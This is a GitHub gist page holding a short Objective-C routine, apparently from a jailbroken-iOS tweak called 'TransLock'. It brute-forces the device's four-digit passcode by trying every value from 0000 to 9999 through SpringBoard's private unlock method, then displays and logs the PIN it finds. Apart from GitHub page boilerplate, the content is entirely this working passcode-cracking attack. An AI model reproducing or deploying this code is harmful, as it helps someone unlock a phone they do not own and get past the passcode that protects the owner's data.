-
-
Save majd/b20f2a238e3547bf98eed6a8e1f1cd52 to your computer and use it in GitHub Desktop.
bruteforce.m
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
- (void)bruteforce { | |
for (int i = 0; i <= 9999; i++) { | |
numString = [NSString stringWithFormat:@"%04d", i]; | |
NSLog(@"Testing : %@", numString); | |
if ([[%c(SBDeviceLockController) sharedController] attemptDeviceUnlockWithPassword:numString appRequested:NO]) { | |
[[[UIAlertView alloc] initWithTitle:@"TransLock" | |
message:[NSString stringWithFormat:@"Password is %@", numString] | |
delegate:nil | |
cancelButtonTitle:@"Dismiss" | |
otherButtonTitles:nil] show]; | |
NSLog(@"Password is : %@", numString); | |
break; | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment